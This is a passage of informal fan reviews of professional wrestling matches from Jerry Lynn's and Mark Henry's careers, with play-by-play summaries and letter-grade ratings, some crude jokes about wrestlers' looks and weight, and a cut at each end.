Lynn gets sent to the floor as Sabin fires off some kicks to Daniels for two. He hooks a nerve hold on the champ and keeps Lynn on the floor once again. The fans say Lynn still has it despite him getting beaten up the whole time in this match so far. Daniels is put in the Tree of Woe and a hesitation dropkick gets two. All three back in now and the fans are way behind Jerry.

Speaking of Jerry he goes up and hits a foot into the chest of both guys. Headscissors all around and the fans are really into Lynn. He sets for the Cradle Piledriver but Daniels hits an Sto to stop him. Everyone is down again and Lynn goes after Sabin. Lynn sets for a bulldog off the middle rope but Daniels runs up and we get a low level Tower of Doom. BME gets two on Sabin. Sitout powerbomb gets the same for Lynn. Lynn and Daniels go at it and Lynn hits an inverted Emerald Flowsion for two. Cradle Piledriver puts Daniels down but Sabin grabs a rollup and tights on Lynn to win the title.

Rating: B-. I usually don’t like triple threats but this one worked very well for me. All three guys were moving out there and Daniels was doing enough other stuff to keep him from getting on my nerves. They flew around enough and the ending was hot enough to make it work and I liked this match a good deal.

The next stop was ROH, including this match from their debut TV show on March 21, 2009.

Jerry Lynn vs. Delirious

Delirious goes nuts at the sound of the bell but Jerry trips him down. Lynn grabs a headlock but gets caught in a rolling fireman’s carry for two. Some running clotheslines drop Lynn but he comes back with a backslide for two. Lynn puts on an inverted Gory Special before spinning him around and dropping him face first onto the mat for another near fall. Delirious sends him into the buckle but misses Shadows Over Hell (top rope splash to the back). A top rope hurricanrana sets up a TKO for two on Delirious but the cradle piledriver is enough to give Jerry the pin.

Rating: D+. This didn’t work for me for the most part. There was almost no selling at all and Delirious was only insane for the first few seconds. Lynn was his usual smooth self but the rest of the match didn’t do much for me. Then again that’s probably why I don’t spend a lot of time watching ROH.

Lynn would briefly hold the ROH World Title later in the year before heading back to TNA in 2011. He would face an old rival at Bound For Glory 2011.

Jerry Lynn vs. Rob Van Dam

Technical stuff to start but they’ve probably got a lot of time. There are only 8 minutes on this card and I can’t imagine that Hogan vs. Sting will break ten minutes. Rob takes over early and tries Rolling Thunder but Lynn pops up with a kick to the face. Tornado DDT is countered but the suplex is as well. The psychology here is solid and we hit a stalemate. They try a cross body over the top and that doesn’t work right, drawing half boos/half silence from the crowd.

We’re on the floor now and Van Dam tries a moonsault off the apron but misses and might have hurt his knee. Lynn brings in a ladder but Rob sends him in and gets a chair. He takes too long though and Jerry hits a baseball slide to send it into the face of Van Dam. Van Dam gets a spinning cross body onto Lynn onto the chair for two. The surfboard dropkick with the chair in the corner gets no cover. Rob does however get a ladder so the crowd is pleased.

The fans chant ECW and the ladder is splashed with Lynn under it for two. The fans never stay silent for long in this city. It’s something I wish you could hear in more cities too. Rob does a springboard moonsault over Lynn which appeared to be intentional. No idea what the point of that was other than to have Lynn hit him with the chair to take over. Lynn misses a senton backsplash onto the ladder and Van Dam takes over again.

Van Daminator misses so Lynn pelts the chair at him. Lynn gets a German for tow and Lynn is down more from it than Rob is. Lynn gets suplexed onto a ladder which is a lot more effective, so I guess American > Germany. Lionsault onto the ladder gets two for Rob. Rob tries one of his rolling moves but Jerry jumps off the middle rope and they collide at the same time. Lynn goes to the floor to get another ladder and I have the same question as Tazz: how many ladders do you need?

The second ladder is put up against the railing and Lynn tries a sunset bomb, resulting in Rob’s head slamming into the railing. FREAKING OW MAN!!! Lynn has a big bump under his eye. Van Daminator gets two. Rob sets up the Van Terminator with a ladder over Lynn’s face and it’s enough for the pin at 13:16. So Lynn can get up from a Van Daminator after two seconds but he can’t move after about 30 seconds of sitting in the corner?

Rating: B. Good match but it’s going to be overrated because it’s Lynn vs. Van Dam. This was more about the weapons and the violence than the whole psychology which was the standard of their old matches. The fans were of course into it because these guys used to be huge in ECW like 10 years ago. It was entertaining though and that’s the point of these matches.

We’ll wrap it up with one more match, this time from Lynn’s retirement tour at One Night Only: X-Travaganza.

Rob Van Dam vs. Jerry Lynn

This is part of Lynn’s retirement tour and is No DQ because that’s what these matches always are. Feeling out process to start with Van Dam getting a quick rollup for two until we get a standoff. Lynn is in a sleeveless shirt here, likely due to reasons of fat or injury. A clothesline puts Van Dam down but RVD comes back with his stepover kick to send Jerry to the floor. Van Dam follows him out, only to be sent into the barricade. Jerry slides back in but charges into a spin kick from Van Dam.

Rob brings in a chair but gets caught by a clothesline as he rolls towards Jerry in the corner. They head to the floor again with Van Dam draping him over the barricade for the legdrop to the back. Now Van Dam sets up a table in the corner but Jerry hits a springboard legdrop to the back of RVD’s head to take over. Van Dam escapes a DDT but gets caught by a neckbreaker for two. A clothesline from Lynn puts both guys on the floor where Rob sets up another table.

Lynn is sent back inside but Van Dam can’t suplex him through the table on the floor. A sunset bomb is blocked and Rob hits a legdrop onto Lynn on the apron. Back in again and Jerry hits a jawbreaker to stagger both guys but Rob gets the chair from earlier. His monkey flip out of the corner is countered into a release powerbomb onto the chair for two. The cradle piledriver is countered into a rollup for two for Van Dam and but he takes too long picking up a chair and gets speared through the table in the corner for two.

Van Dam’s northern lights suplex onto a chair gets two on Lynn and there’s a springboard kick to the face to put Lynn down again. The Five Star hits chair only and Jerry rolls him up for two. Van Dam tries to leg sweep Jerry but gets legdropped into the chair in a nice counter. Lynn gets two more off a bad TKO onto a chair and both guys are down again. Lynn takes the chair up top but a Van Daminator sends him very softly through the table on the floor. That gets two back inside and a good looking Five Star is enough for the pin for RVD, again with very little reaction from the crowd.

Rating: C+. This was a lightning fast match with some amazing counters and speed moves…..fourteen years ago. Now it’s two guys who are nowhere near as fast as they used to be and doing a lot of the same spots which were awesome back in the day but now are the same ones we’ve seen time and time again. The match isn’t horrible but it was clearly about five steps slower than their older matches.

The one word to sum up Jerry Lynn is smooth. The guy is just talented in the ring and can wrestle a good match with anyone he’s put in the ring against. The fact that he’s almost always just been Jerry Lynn: Guy in Tights makes him all the more impressive. He wrestled for exactly 25 years and had a great run in wrestling. What else can you ask for?

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This one might split a wig. Today is Mark Henry.

Henry was of course an Olympic weightlifter who became a wrestler when his lifting career ended. After signing with the WWF and training, his first match was at In Your House 10.

Mark Henry vs. Jerry Lawler

Henry is a newcomer to the WWF at this point and was on commentary during Jake Roberts vs. Jerry Lawler last month. Lawler had tried to pour whiskey down recovering alcoholic Roberts’ throat, drawing Henry off commentary for the save. This is Henry’s debut and his chance to prove that he’s the World’s Strongest Man. Lawler spends his entire walk to the ring badmouthing the Olympics (Henry was an Olympic weightlifter) and Henry in general, riling up a crowd as only he can. Lawler may not be the most skilled grappler he is one of the greatest of all time and making a crowd want to chase him down with pitchforks.

Lawler offers to start with a very basic headlock to let Henry get his feet wet. Mark easily counters into a hammerlock and shoves Lawler down, sending pure fear into Lawler. Henry puts on a headlock of his own and Jerry counters the same way Mark did earlier, but Henry counters the counter into another hammerlock. A gorilla press slam sends Lawler down again and his own shoulder block has about the same result.

Henry sidesteps Lawler and sends him flying to the floor in a big crash. Since plans A-C haven’t worked, Lawler pulls out a foreign object and socks Henry in the jaw a few times to take over for the first time. Mark will have none of that though and fires off knees into Jerry’s ribs before finishing him with an over the shoulder backbreaker.

Rating: D. This was what it was. The match was designed to make Henry look like a monster and that’s exactly what it did. That being said, it wasn’t exactly interesting as you can tell Henry is a big strong guy just by looking at him. At least it wasn’t long or anything though and it didn’t get too repetitive.

Henry would then have to take a hiatus to heal injuries (you’ll get used to that phrase) and train more. He would return in 1997 so we’ll pick things up on Raw on March 2, 1998.

European Title: Owen Hart vs. Mark Henry

Slaughter throws the Nation out and Owen starts fast, going after the knees. Chyna strolls out as this has literally been all Owen. Her distraction lets Henry get a shot in and here comes the fat man. Splash in the corner hits as does an elbow for two. Sharpshooter attempt as the power vs. speed match is in full effect. Henry busts out a belly to belly suplex of all things as the crowd is so stunned they’re silent. They’re so stunned that they were silent before the move hit.

Leg drop misses but the Sharpshooter still can’t work. Corner splash misses and Owen fights back with a top rope dropkick to put Henry down. Enziguri hits as we hear about Owen being the most decorated amateur wrestler out of all the Harts. Sharpshooter finally goes on but Chyna distracts him and he lets it go. Up he goes but Chyna shoves him into the bearhug but Chyna hits Henry low to give Owen the win via DQ so that HHH won’t have to face Henry at Mania.

Rating: C-. Just a power vs. speed match here to set up the ending which is fine. There wasn’t much they could do at the time as the match was set in stone and they didn’t want to let the guys go at it before the PPV. This is where the differences shine through between the two shows: back in this era a random match like this was perfectly normal. Today everyone would see it and say it would be a swerve. That’s not good and if it changed things would go way up in value.

Here’s a slightly more famous opponent, from June 1, 1998’s Raw.

King of the Ring Qualifying Match: Mark Henry vs. Terry Funk

Vince is on commentary so he won’t miss Taker vs. Kane. JR says this is a contrast of styles. Now there’s an understatement. Terry tries to pound on him but a big clothesline puts him down. Out to the floor where Funk’s back goes into the post. Funk manages to send him into the steps and gets a chair. In a SCARY sight, Terry tries an Asai Moonsault but lands on the railing. If there’s a way to fake that I’d love to know what it is. In the ring a splash gets two. A slam and legdrop get two, brother. Funk grabs a small package for two so Henry powerbombs him and splashes him again, finally getting the pin.

Rating: C+. WAY more entertaining than you would have expected it to be. It’s not a great match or anything but Terry is an absolute master at drawing sympathy and making you think that he just might somehow be able to pull off the huge upset. Very fun match even though it only lasted four minutes or so.

At this time, Henry was part of the Nation of Domination. The Rock led the team in their war with DX over the summer. After losing the war, Rock was thrown out, setting up this match at In Your House 25.

Mark Henry vs. The Rock

D’Lo is with Henry here. This is a revenge match after Henry beat up Rock on Raw for bailing on the Nation. Henry dedicates a poem to Chyna, saying he loved her long before the implants and wants to father her children. The place FINALLY wakes up for Rock’s music as he’s the most popular guy in this company not named Austin right now. Rock pounds away on Henry to start and knocks him down with right hands. Rock actually suplexes Henry down for two in an impressive power display.

They head outside with Henry getting in an elbow to the ribs and slamming Rock face first into the announce table. Back in and Rock clotheslines Henry down but Mark comes back with a pair of elbows for two. Rock fights out of the corner with right hands but gets clotheslined down and legdropped for two. We hit the chinlock for a bit but Rock comes back with, what else, right hands to the jaw. A DDT gets two on Mark and Rock easily slams him down. There’s the People’s Elbow but D’Lo distracts Rock from covering. Henry hits a clothesline from behind and a splash for the shocking upset.

Rating: D+. Rock’s power displays were impressive but I have no idea why Henry gets to pin the fastest rising star in the company. No it wasn’t clean but it didn’t need to happen in the first place. Henry never really went anywhere off this win, which makes the whole thing all the stranger. Just an odd decision here.

Henry would become Sexual Chocolate around this time, meaning that he was obsessed with women. Here’s an example of that from In Your House 27.

Tag Titles: Owen Hart/Jeff Jarrett vs. D’Lo Brown/Mark Henry

Jarrett and Owen won the titles from Bossman and Shamrock back in January. Henry reads a Valentine’s Day poem to Ivory and gives her a box of chocolates. Owen and Henry get us going with the power man throwing Hart into the corner and clotheslining him down before it’s off to Brown to speed things up. Hart comes back with a bulldog into a facebuster and makes the tag off to Jarrett who walks into a powerslam for two.

Everything breaks down and Debra gets on the apron to do nothing at all. Things settle down with Jarrett grabbing a DDT on Brown’s arm before it’s back to Owen for a double clothesline to put D’Lo down. A spinebuster from Owen sets up a middle rope fist from Jarrett. Hart hits the enziguri as the match slows down again. A double back elbow from the champions sets up a chinlock by Jeff before Owen kicks Brown’s head off to break up a comeback bid.

Brown finally scores with a quick Sky High to put Owen down, finally allowing for the tag off to Henry. Everything breaks down again and Brown catches Jarrett in a sitout spinebuster for a close two. D’Lo goes up for the Low Down but the girls get in a fight for a distraction. Henry gorilla presses Jarrett up but Owen hits him in the knee with a guitar. Jarrett puts on the Figure Four for a quick submission.

Rating: D+. This wasn’t horrible but the girls did nothing of note. I’m not quite sure how ripping Debra’s clothes off was supposed to keep Brown and Henry more focused on the match. Jarrett and Hart were extended placeholders as champions and while they were solid in the ring, they didn’t interest anyone for the most part.

Henry would miss time due to injuries so we’ll pick things up at Unforgiven 1999 when Henry was European Champion, having been given the title as a gift.

European Title: Mark Henry vs. D’Lo Brown

WOW they’ve picked two bad matches to start us off here. He’s Sexual Chocolate here. Tom Pritchard is the referee. Henry says there can’t be a match because Garcia slapping him hurt him. Brown actually got one hell of a push around this time if you can believe that. Brown could go in the ring if nothing else. Yes I liked him. Pritchard is wearing blue pants and it looks ridiculous. The crowd is somewhat alive here but not much.

They talk about Rebellion which is in 6 days. Yep, that’s coming too. Brown hits a Taker Dive over the ropes which looked great. This has been all Brown so far so expect that to change in a few seconds. Yep there it is. Good night Henry is limited as hell in the ring. How has he not leaned anything new in like 15 years? This is still just boring as all goodness. Brown is getting some pops if nothing else. Henry does the ten punch in the corner but gets powerbombed out of it and the Lo Down ends it. Nice ending to a terrible match.

Rating: D. Somewhat better but that’s not saying much. It was just ok and that’s mainly because I liked D’Lo. If nothing else they made it believable which is really all you can ask for here. Not bad. Ok yeah it was but it could have been worse, which is a common thing you can say about Mark Henry matches.

Henry would return in 2002 and be fed to a certain monster. From August 1, 2002 on Smackdown.

Brock Lesnar vs. Mark Henry

Henry is listed at 363lbs, which would be the lightest he’s ever been in his career. Neither guy can be moved to start and Henry laughs off a shoulder block. Mark tells him to do it again so Brock ducks his head like he’s about to run but explodes back with a clothesline to take over. Brock misses a charge in the corner and gets caught in a nice delayed vertical suplex for two. Lesnar rakes the eyes to get out of a choke and hits a great looking belly to belly overhead for two. The F5 is good for the pin.

Another year, another injury. Henry would come back in 2003 and we’ll pick things up on September 8 of that year with Henry part of Thuggin and Buggin Enterprises and in a tag match on Raw.

La Resistance/Rob Conway/Rodney Mack/Mark Henry vs. Dudley Boys/Hurricane/Rosey

Oh I’m SURE this isn’t going to get all messy. The good guys clean house and Spike is launched onto La Resistance (the tag champions at this point). Hurricane throws in a dive of his own and it’s table time less than a minute into this shindig. They’re only set up on the floor though as we finally start with Rosey and Dupree. The fat man (Rosey) misses a charge but clotheslines Conway and Dupree down with ease because he’s fat.

Off to Spike for his double stomp on Conway but since Spike is the anti-Rosey, Conway gets the tag off to Henry. Picture any match of Henry crushing someone smaller than him for about a minute and you have what you’re getting here. Mark misses a charge and Spike picks….Hurricane for the hot tag? You’re Spike Dudley and you pick the freaking HURRICANE to fight Mark Henry? Conway is brought in as Henry is down on the floor, likely out for months with an injury. Everything breaks down and Conway walks into the 3D for two via a save from Mack as Henry comes back in and powerslams Bubba for the pin.

Rating: D. Yep it was a mess. It amazes me that they’re so strapped for time that they have an 18 minute talking segment and then they have to put ten guys in one match to get them all on TV for that week. There’s nothing here to see other than another quick match tonight with way too many people in one match.

Henry would get injured again and be off WWE TV almost entirely for two years, including spending most of 2005 in OVW. He would come back in late 2005 as a monster heel, eventually earning a title shot at the 2006 Royal Rumble. This actually went on last.

Smackdown World Title: Kurt Angle vs. Mark Henry

Angle gets overpowered to start. That’s about all there is to say for the first two minutes or so, as Kurt keeps getting shoved around and then taken to the floor. Henry whips him into the steps and then stands on Angle’s chest back inside. We hit a bearhug for a bit until Angle hiptosses out of it. He tries a cross body like an imbecile but rolls out of the World’s Strongest Slam. The ankle lock and Angle Slam are no good so Henry clubs him down again.

Instead Angle hits a German (kind of) to put both guys down. The Angle Slam gets two (duh) and the ankle lock is broken up again. The counter causes the referee to get bumped so Angle gets a chair. A low blow and two chair shots take Henry down for two, so Angle takes a buckle off. Kurt drop toeholds him into the buckle and rolls Henry up to retain. Our hero everyone.

Rating: D. Seriously, why was this……

And a gong strikes. That’s why.

As for the match, it sucked pretty terribly. Why would we buy Henry as a potential champion here after him showing no proof of being at that level? The match wasn’t even ten minutes long, making it feel much more like a TV match than a PPV title match. I know they wanted to do the big ending with Taker, but there had to be a better way to do it.

Taker comes out in a freaking horse drawn chariot and motions that he wants the title. Then he shoots lightning from his hands at the stuff over the ring, before slamming his arms down to send lightning at the posts. The ring collapses to end the show. Yeah that happened.

Undertaker returned to go after Angle but he would face Henry in a casket match at Wrestlemania XXII.

Undertaker vs. Mark Henry

This is a casket match and WAY before Henry got awesome. Druids bring out the casket surrounded by torches. Basically Henry has beaten up Undertaker and isn’t scared of the dark. No one on the planet thought Henry had a chance here. I’d bet even his mama didn’t. Henry pounds away to start and no sells a few clotheslines before running Taker over. They trade shots into the steps with Henry taking control before heading back inside. Back in and Henry chokes Undertaker down like he’s not even there.

Taker fights back but has Old School broken up with ease. The casket is opened but Taker kicked his way to safety. The Dead Man gets back to his feet and manages to hit Old School this time but it doesn’t drop Henry. A Downward Spiral is easily blocked and Henry controls again by choking on the ropes. Henry misses a charge though and lands in the casket, only to pull Taker down in with him.

They fight out of the casket and head back into the ring where Taker charges into the World’s Strongest Slam but Henry covers on instinct instead of carrying Taker to the casket. Henry makes the incredibly stupid yet eternally made mistake of pounding down on Taker in the corner, only to be powerbombed out of the corner. Mark is knocked out to the floor where Taker hits hit HUGE Taker Dive to put Henry down again. Back in and there’s the Tombstone, allowing Taker to put Henry in the casket to win.

Rating: D+. It’s Mark Henry and this is long before the career resurgence he had in 2011. There was never any doubt that Taker would win his signature match against a guy who just wasn’t on his level. Not a good Mania match here for Taker, but he would win the world title at the next two editions so he would be ok soon.

Henry would feud with Batista and shred his knee, putting him out for about a year. Here’s a match after his return from One Night Stand 2007.

Mark Henry vs. Kane

Lumberjacks here. Oh joy. They actually introduce the lumberjacks to waste even more time. There are some actually decent named guys here like Benoit and uh……Benoit is in this. Other than that there are guys like Miz and Morrison who mean nothing at this point. Santino is the IC Champion here and isn’t a comedy guy yet. Apparently Kane lost a match via countout to Henry to set this up.

Henry throws him out almost immediately and Kane glares at the lumberjacks before getting back in on his own. Kane kicks him to the floor and Henry shoves all of the lumberjacks off with relative ease. They slug it out and Henry hides on the floor again. Out to the floor and Henry rams him into the post like he did on Friday apparently. Back in the ring and Henry works on the back, for once in his life showing some intelligence.

JBL suggests Henry belongs in the Hall of Fame. Sadly enough, that’s not out of the realm of possibility is it? Kane gets a shot in but charges into a powerslam for two. More power moves set up the bear hug to waste some time and let Henry have a breath of air. Kane gets a shot in but can’t hit the chokeslam so it’s right back to the beating. The fans think Henry sucks and I can’t say I disagree with them.

Back to the bearhug as the lumberjacks cheer for Kane. So the fans and other guys, both faces and heels it seem, don’t like Henry. That says nothing of note as everyone can’t stand him and no one ever has that I can remember. Kane sends him to the floor and goes up, diving on Henry and a bunch of lumberjacks at the same time. The big man can fly at least. Not a lot of big men would ever do that so points for that.

Back in the ring and Kane hammers away which doesn’t get him very far. Kane goes up again and the clothesline takes Henry down for no cover. Chokeslam actually connects but Kenny Dykstra and Chavo come in for not the DQ. That doesn’t get them anywhere but it gets us right back into the bearhug incase the first two of them didn’t get you fired up enough. Even with an arm between Henry’s, Kane actually “blacks out” in the hold and we’re done. Yes, that’s the ending they gave this.

Rating: D. Weak match beyond belief as since it was an even numbered year, Henry was pushed. No idea what Vince sees in this guy other than a massive contract so let’s keep pushing him. Either way, weak match here with a REALLY bad ending. Also, the lumberjack stipulation continues to be one of the weakest rules you can add onto any match with this being no exception.

And another match from Armageddon of the same year. I have to fit these in before he gets hurt again. Henry is part of the ECW roster at this point.

Mark Henry/Big Daddy V vs. Kane/CM Punk

Punk is ECW Champion here and is having to stick and move against the monsters. Kane is here to help even out the size stuff. Punk vs. Henry to start us off. Punk fires off some kicks and then tries to pick up the leg because faces are idiots in this company. Off to Kane whose strikes do a bit better. He gets a shot to the knee and Henry is actually in trouble. Back to Punk who gets flattened by a clothesline.

Off to Big Daddy V and the girth of death. Punk gets sent to the floor where Striker, the manager of V, gets in a shot. Henry pounds on him for awhile until a corner splash misses. Moderately warm tag brings in Kane who cleans a few rooms. The Big Bald hits the top rope clothesline to put Henry down but V breaks up the chokeslam. Sitout chokebomb gets two for V. I thought it was tea for two and two for tea but whatever.

V pounds away while in whale humping position. He splashes Kane and it’s off to Henry for some bearhuggery. Better than buggery I suppose. V comes in for Kane to fire away but another fat boy clothesline takes him down. Kane channels his inner deadman and hits a running DDT to put both guys down (Henry in this case). Double tag brings in V and Punk and everything breaks down. Punk and V are alone in the ring so Punk tries the springboard clothesline. He lands in a Samoan Drop though and we’re done.

Rating: C-. I guess this is the only thing they could put on the show. Having Punk lose is ok here because that was the point of the angle: he can’t beat either of the monsters. This wasn’t too bad but it could have been a main event on ECW TV. Either way, the big man vs. big man stuff got old after awhile which hurt the match a bit.

Henry would get an ECW Title shot at Night of Champions 2008.

ECW Title: Kane vs. Mark Henry vs. Big Show

Oh it’s Mike Adamle again. He would be Raw GM soon enough and things went bad to an extent. Tazz has to anchor the commentary here and that just is not going to work. Show won a match at One Night Stand to get here and Henry is here because Vince wants him to be. Kane comes in as champion. Seriously, give him a world title reign. The guy has to job to people like Henry and people wonder why he doesn’t stay over. By the way Kane is on Raw after the Draft six days before this and the US Title is on ECW. God bless WWE logic.

We get big match intros for the first time tonight which is kind of weird. Adamle is trying here and I can always give him credit for something like that. Oh seriously what are you expecting here? Kane is the smallest guy in this match. What do you think they’re doing? Of course: tapdancing. Yeah that joke sucked. Anyway they’re just doing power stuff that is supposed to impress us and it would if we hadn’t seen these guys fight like 100 times each before.

Kane comes back up and gets a solid pop. They had the white ropes even back in 08? I never noticed that before. The bald guys hit a double chokeslam on Henry and then they fight. Stop me if this sounds like every other triple threat match ever. Show hits Kane with one as well and since Henry is a big fat tub of goo, Kane has to kick out on his own. You know,

Adamle really isn’t that bad. He truly isn’t. He just gets such a bad reputation for what he would do later on. He didn’t have a background for this and got thrown on the top company in the world and did his best. Kane puts Show down and then Henry splashes him in the corner for the pin. This would result in him getting his huge belt soon afterwards.

Rating: D+. Not bad again but still just a big mess as these three had nothing of note as far as working together went. Kane was the most agile guy out there and he was down for a good chunk of this. Matches like these rarely work and this was no exception. Henry got pushed for no reason at all and his reign bombed. Matt Hardy would take it like 3 months later. Kane would turn heel like the next night.

After losing the title, Henry would move into a feud with Finlay, leading to a Belfast Brawl at Armageddon 2008.

Finlay vs. Mark Henry

This is a Belfast Brawl, which means street fight. Henry had tried to squash Horny but Finlay made the save for his son. Tony Atlas is with Henry. Striker says this has its roots in the streets of Belfast. There are wrestling rings in Belfast streets where you win fights by holding someone down for three seconds in front of 12,000 people? Henry sends him to the floor quickly but Finlay manages to send him into the announce table. Henry takes over and pounds away outside, ramming him into the railing.

No Hornswoggle out here as per his pop’s request. Back in the ring the splash misses and Finlay tries to get in some offense. The Irish dude pulls out some weapons, in the form of like three trashcans. The delay lets Henry get up and Finlay goes down fast. Henry hits that move that has no name where you jump on the guy’s head when he’s in the 619 position. He yells at Finlay, saying you wanted a fight and now you got one.

Finlay manages to fight back with a trashcan shot and another to put Henry down. He pounds away a bit and gets two. Henry takes over again and stands on Finlay’s chest but misses a Banzai Drop from the middle rope. Yokozuna he is not. There’s that Irish club that I can’t spell but Henry knocks it out of Finlay’s hand. Henry breaks the club easily and does the same to a kendo stick.

Bear hug goes on and here’s Horny. Henry casually throws him into Finlay’s balls from where he came. Or did Finlay come? Not sure actually. I guess Finlay had to so Horny could. And I guess Finlay had to be Horny to come so Horny could come. I love wordplay. Anyway Henry beats Finlay down and picks up the steps but Finlay dropkicks the knee to send Henry’s face into the steps. Horny slips him another stick (add that aspect to the aforementioned joke) and a shot to the head with that ends this.

Rating: C-. Eh nothing too horrible here. The weapons probably saved this as I don’t even want to imagine these two trying to have a regular match. Not a horrible match here and Horny helping to win is ok. I don’t mind him as a sidekick but being on the show week after week gets to be a bit much.

Henry would go after the ECW Title again at the Bash.

ECW Title: Christian vs. Tommy Dreamer vs. Jack Swagger vs. Mark Henry vs. Finlay

This is a Scramble match which is more or less a gauntlet. Every three minutes someone else comes in and whoever gets the final pin is champion but you have to pin the champion for the pin to count. Uh…sure. Christian and Swagger start us off. Wow it’s weird to see Swagger as champion before Christian. I miss the pushups.

Ok so if Swagger pins Christian he’s IT more or less? I guess that makes sense. I’m assuming that there will be a clock once everyone comes in. Striker implies a heel turn for Christian but nothing ever came for that. The clock begins far before three minutes is up and it’s Finlay. Striker talks about Irishmen from centuries ago as no one cares at all. Swagger pokes Finlay in the eye and rolls him up to become IT.

Christian and Swagger do a nice little sequence that gets two for the Canadian. He beats Christian down as Dreamer is number four. Dreamer beats up everyone with incredibly basic stuff but throws out a Sky High. Ok apparently it’s not Swagger that has to lose the title as it’s just the last pin. Uh…that kind of makes sense I suppose.

They blow a spot where Christian is on the mat and Dreamer gets thrown onto him. It just looked really awkward. Finlay finally comes back to life and hits the Celtic Cross on Swagger to become IT. Finlay and Dreamer don’t work well together to put it mildly. And here’s Henry to suck the life out of the match. Ok so now we have five minutes left and whoever gets the last fall is champion. Got it.

Dreamer takes the World’s Worst Finisher with 4:15 to make Henry IT. Everyone not named Dreamer beats Henry up and the people start booing for some reason. Finlay hits a freaking suicide dive onto Swagger. Have to love old men flying all over the place. Henry teases a top rope dive but for the sake of the gravitational pull, Swagger saves him and gets the pin to become it with about 2:20 to go.

I like knowing how much longer to go at times and this is one of them. Christian hits the Killswitch on Swagger but Dreamer DDTs him at 1:20 to become IT. It becomes a big mess now which makes sense at least. On instinct Dreamer goes for a cover which they don’t point out the stupidity of. Everyone goes for covers but the clock runs out and Dreamer retains. He screams “I WON???” in a funny moment.

Rating: C+. These matches are hard to call but I liked it. Thankfully they haven’t killed them by having them every two weeks or something like that. This still feels fresh though and it comes off as a good way to be different. Also it makes Dreamer look like a competent champion and not a jobber which I can’t complain about. This worked but was still a little bit weird.

Henry would get hurt AGAIN and miss more time. When he came back he would form some short lived tag teams, including one with Yoshi Tatsu. The pair would be in a fourway for the Tag Team Titles on Raw, December 6, 2010.

Tag Titles: Usos vs. Nexus vs. Santino Marella/Vladimir Kozlov vs. Mark Henry/Yoshi Tatsu

This is under elimination rules. Gabriel and Tatsu start. At the last show I was at Tatsu and Jericho tore the house down so it would be nice to see him win a title here. Spin kick gets two for Tatsu so Gabriel kicks Tatsu in some African on Asian violence. Off to Slater now with Josh picking Kozlov and Santino.

Henry comes in and is supposed to fight an Uso but they run from him. Henry is like get the hell in here and pulls Jey in by the hair. Freaking ow man! We’re getting some very fast paced tagging here. Punk is talking about the Bellas vs. the Usos for some reason but since it’s coming from Punk it’s awesome.

Lawler brings us back to reality as Punk threatens to send Josh back to Superstars. The Usos surprisingly clean house and beat up Henry and Tatsu. Slater tags himself in and gets one of the most unrecognizable finishers of all time to get rid of Tatsu and thereby Henry at approximately 3:00.

The Usos come in and get a slingshot Samoan Drop (think 3D kind of but with a Samoan Drop ending and the guy playing D-Von lets go) for two as Gabriel saves. Kozlov comes in and runs through the Usos. The spike slam ends the Usos at approximately 4:45. Tamina stays behind with Santino.

It’s Nexus vs. Kozlov/Santino for the titles. Punk keeps calling Santino Jar Jar which is amusing. Santino comes in to by far the biggest reaction in this match. Who would have guessed that he would be the most popular guy of eight men in a title match late in 2010?They’re trying to make Tamina look good and from a distance she kind of does. Then they show closeups of her and she looks a bit goo much like a diseased goat. We take a break with Nexus in control.

Back with Gabriel holding Kozlov in a front facelock. There’s the hot tag to Santino who raises the roof and surprisingly cleans house to a nice pop. He hits a Stunner complete with splits as Kozlov takes out Slater. Cena pops up from under the ring and gets Gabriel’s attention. The Cobra hits Gabriel and we have new champions at 12:00!

Rating: C. Match was kind of boring but the ending more than makes up for that. It completely amazes me that Santino is as over as he is but given the pops he’s been getting there is no reason to not put a title on him to give him some credibility. Not the best match in the world but entertaining and rather exciting so that wasn’t bad at all.

Over the summer of 2011, Henry would become a monster heel again and start a gimmick called the Hall of Pain where he would injure various wrestlers. With no one left to stand up to him, Sheamus turned face by saying “I’ll fight him.” Their showdown was at Summerslam 2011.

Mark Henry vs. Sheamus

Henry takes him down with a clothesline to start but Sheamus comes right back with right hands. The pale one pounds away and actually knocks Henry down to his knees, only to be thrown to the floor. Henry EASILY throws Sheamus through the ropes and hits a splash for two. A running crotch attack crushes Sheamus’ neck but he’s in the ropes before the count starts.

A backbreaker puts Sheamus down and it’s off to an Argentinean backbreaker to complete the set. Sheamus powers out, only to be sent chest first into the corner. Henry misses a Vader Bomb though and Sheamus has a breather. A series of ax handles to the chest and head put Henry down followed by the forearms in the ropes. They clothesline each other down and we get a breather.

Back up and Mark runs into a boot in the corner, allowing Sheamus to go up for the top rope shoulder, good for two. The Brogue Kick misses though and a clothesline puts Sheamus down. Sheamus slips out of the World’s Strongest Slam and there’s the Brogue Kick to knock Henry to the outside. Sheamus follows him to the floor but Henry drives him into the post and through the barricade in a great crash, allowing Mark to beat the count for a countout win.

Rating: C+. This was another simple formula: take two big power brawlers and let them beat the tar out of each other for nearly the minutes. It’s also a smart ending as Sheamus gets to stay strong but Henry gets another win. Sheamus would get a countout win I believe at the next PPV so it evened out. Good, fun brawl here.

Henry’s roll would take him to Night of Champions 2011 for a shot at Randy Orton’s World Title.

Smackdown World Title: Mark Henry vs. Randy Orton

After some big match intros we’re ready to go. According to Booker the WCW Title and the WHC have the same lineage. Orton fires away at him and manages to get him down, setting up the Orton Stomp. The knee drop ticks Henry off but he jumps to the left (Time Warp?) and sends Henry to the floor where he’s all ticked off. Back in HENRY GOES GYMNAST with a big boot to the head. That was impressive.

Orton grabs a sleeper which wouldn’t be a bad idea IF EVERYONE DIDN’T USE IT ON BIG MEN. Naturally it doesn’t work here either and Orton is put on the top rope. Henry clocks him upside the head and Henry takes over on the floor. With Orton’s body wrapped around the post, Henry pulls back to injure the back and to draw a Gumby reference. I didn’t expect one of those but Cole played the Gumby card.

Henry stands on Orton’s back with no rope support. FREAKING OW MAN!!! The big splash only gets two and then another two off a not very serious cover. Henry is toying with him here but Orton gets up for a second. He’s not up for two seconds as Henry takes him down and chokes a bit. Orton hammers away with his two kinds of strikes. Henry takes him down but the second splash misses and here comes Randy.

Orton fires off a bunch of punches in the corner and Henry is in trouble. The clotheslines don’t work and Henry isn’t sure what to do. There’s a dropkick and Henry heads to the apron. He puts himself in elevated DDT position but Henry fires back with a headbutt. This has been good so far. There’s the World’s Strongest Slam for two and Henry is ticked off. Henry sets for a Vader Bomb but Orton moves.

